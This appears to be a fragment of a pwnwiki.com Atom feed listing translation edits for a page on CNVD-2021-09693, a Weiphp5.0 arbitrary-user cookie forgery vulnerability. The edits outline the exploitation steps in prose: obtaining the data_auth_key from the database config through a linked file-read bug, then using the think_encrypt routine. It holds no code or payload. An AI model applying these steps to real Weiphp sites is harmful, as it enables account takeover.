		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Translations:CNVD-2021-09693_Weiphp5.0_%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B6Cookie%E5%81%BD%E9%80%A0%E6%BC%8F%E6%B4%9E/7/zh-cn&amp;diff=3666"/>
		<updated>2021-05-30T13:14:48Z</updated>

		<summary type="html">&lt;p&gt;Evi1f4iry: Created page with &amp;quot;加密方法 &amp;lt;code&amp;gt;think_encrypt&amp;lt;/code&amp;gt;&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;加密方法 &amp;lt;code&amp;gt;think_encrypt&amp;lt;/code&amp;gt;&lt;/div&gt;</summary>
		<author><name>Evi1f4iry</name></author>
	</entry>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Translations:CNVD-2021-09693_Weiphp5.0_%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B6Cookie%E5%81%BD%E9%80%A0%E6%BC%8F%E6%B4%9E/6/zh-cn&amp;diff=3665</id>
		<title>Translations:CNVD-2021-09693 Weiphp5.0 任意用戶Cookie偽造漏洞/6/zh-cn</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Translations:CNVD-2021-09693_Weiphp5.0_%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B6Cookie%E5%81%BD%E9%80%A0%E6%BC%8F%E6%B4%9E/6/zh-cn&amp;diff=3665"/>
		<updated>2021-05-30T13:14:42Z</updated>

		<summary type="html">&lt;p&gt;Evi1f4iry: Created page with &amp;quot;找到了跟据这个密钥的加密方法和解密方法&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;找到了跟据这个密钥的加密方法和解密方法&lt;/div&gt;</summary>
		<author><name>Evi1f4iry</name></author>
	</entry>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Translations:CNVD-2021-09693_Weiphp5.0_%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B6Cookie%E5%81%BD%E9%80%A0%E6%BC%8F%E6%B4%9E/5/zh-cn&amp;diff=3664</id>
		<title>Translations:CNVD-2021-09693 Weiphp5.0 任意用戶Cookie偽造漏洞/5/zh-cn</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Translations:CNVD-2021-09693_Weiphp5.0_%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B6Cookie%E5%81%BD%E9%80%A0%E6%BC%8F%E6%B4%9E/5/zh-cn&amp;diff=3664"/>
		<updated>2021-05-30T13:14:34Z</updated>

		<summary type="html">&lt;p&gt;Evi1f4iry: Created page with &amp;quot;全局查找使用了这个密钥的地方:&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;全局查找使用了这个密钥的地方:&lt;/div&gt;</summary>
		<author><name>Evi1f4iry</name></author>
	</entry>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Translations:CNVD-2021-09693_Weiphp5.0_%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B6Cookie%E5%81%BD%E9%80%A0%E6%BC%8F%E6%B4%9E/4/zh-cn&amp;diff=3663</id>
		<title>Translations:CNVD-2021-09693 Weiphp5.0 任意用戶Cookie偽造漏洞/4/zh-cn</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Translations:CNVD-2021-09693_Weiphp5.0_%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B6Cookie%E5%81%BD%E9%80%A0%E6%BC%8F%E6%B4%9E/4/zh-cn&amp;diff=3663"/>
		<updated>2021-05-30T13:14:28Z</updated>

		<summary type="html">&lt;p&gt;Evi1f4iry: Created page with &amp;quot;得到这个配置文件可参考[https://www.pwnwiki.org/index.php?title=CNVD-2020-68596_Weiphp5.0_%E5%89%8D%E5%8F%B0%E6%96%87%E4 %BB%B6%E4%BB%BB%E6%84%8F%E8%AE%80%E5%8F%96%E...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;得到这个配置文件可参考[https://www.pwnwiki.org/index.php?title=CNVD-2020-68596_Weiphp5.0_%E5%89%8D%E5%8F%B0%E6%96%87%E4 %BB%B6%E4%BB%BB%E6%84%8F%E8%AE%80%E5%8F%96%E6%BC%8F%E6%B4%9E CNVD-2020-68596 Weiphp5.0 前台文件任意读取漏洞]&lt;/div&gt;</summary>
		<author><name>Evi1f4iry</name></author>
	</entry>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Translations:CNVD-2021-09693_Weiphp5.0_%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B6Cookie%E5%81%BD%E9%80%A0%E6%BC%8F%E6%B4%9E/3/zh-cn&amp;diff=3662</id>
		<title>Translations:CNVD-2021-09693 Weiphp5.0 任意用戶Cookie偽造漏洞/3/zh-cn</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Translations:CNVD-2021-09693_Weiphp5.0_%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B6Cookie%E5%81%BD%E9%80%A0%E6%BC%8F%E6%B4%9E/3/zh-cn&amp;diff=3662"/>
		<updated>2021-05-30T13:14:20Z</updated>

		<summary type="html">&lt;p&gt;Evi1f4iry: Created page with &amp;quot;首先需要得到数据库配置文件中的&amp;lt;code&amp;gt;data_auth_key&amp;lt;/code&amp;gt;密钥&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;首先需要得到数据库配置文件中的&amp;lt;code&amp;gt;data_auth_key&amp;lt;/code&amp;gt;密钥&lt;/div&gt;</summary>
		<author><name>Evi1f4iry</name></author>
	</entry>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Translations:CNVD-2021-09693_Weiphp5.0_%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B6Cookie%E5%81%BD%E9%80%A0%E6%BC%8F%E6%B4%9E/2/zh-cn&amp;diff=3661</id>
		<title>Translations:CNVD-2021-09693 Weiphp5.0 任意用戶Cookie偽造漏洞/2/zh-cn</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Translations:CNVD-2021-09693_Weiphp5.0_%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B6Cookie%E5%81%BD%E9%80%A0%E6%BC%8F%E6%B4%9E/2/zh-cn&amp;diff=3661"/>
		<updated>2021-05-30T13:14:13Z</updated>

		<summary type="html">&lt;p&gt;Evi1f4iry: Created page with &amp;quot;==漏洞利用==&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==漏洞利用==&lt;/div&gt;</summary>
		<author><name>Evi1f4iry</name></author>
	</entry>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Translations:CNVD-2021-09693_Weiphp5.0_%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B6Cookie%E5%81%BD%E9%80%A0%E6%BC%8F%E6%B4%9E/1/zh-cn&amp;diff=3659</id>
		<title>Translations:CNVD-2021-09693 Weiphp5.0 任意用戶Cookie偽造漏洞/1/zh-cn</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Translations:CNVD-2021-09693_Weiphp5.0_%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B6Cookie%E5%81%BD%E9%80%A0%E6%BC%8F%E6%B4%9E/1/zh-cn&amp;diff=3659"/>
		<updated>2021-05-30T13:14:01Z</updated>

		<summary type="html">&lt;p&gt;Evi1f4iry: Created page with &amp;quot;==漏洞影响==&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==漏洞影响==&lt;/div&gt;</summary>
		<author><name>Evi1f4iry</name></author>
	</entry>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Translations:CNVD-2021-09693_Weiphp5.0_%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B6Cookie%E5%81%BD%E9%80%A0%E6%BC%8F%E6%B4%9E/Page_display_title/zh-cn&amp;diff=3658</id>
		<title>Translations:CNVD-2021-09693 Weiphp5.0 任意用戶Cookie偽造漏洞/Page display title/zh-cn</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Translations:CNVD-2021-09693_Weiphp5.0_%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B6Cookie%E5%81%BD%E9%80%A0%E6%BC%8F%E6%B4%9E/Page_display_title/zh-cn&amp;diff=3658"/>
		<updated>2021-05-30T13:13:46Z</updated>

		<summary type="html">&lt;p&gt;Evi1f4iry: Created page with &amp;quot;CNVD-2021-09693 Weiphp5.0 任意用户Cookie伪造漏洞&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;CNVD-2021-09693 Weiphp5.0 任意用户Cookie伪造漏洞&lt;/div&gt;</summary>
		<author><name>Evi1f4iry</name></author>
	</entry>
</feed>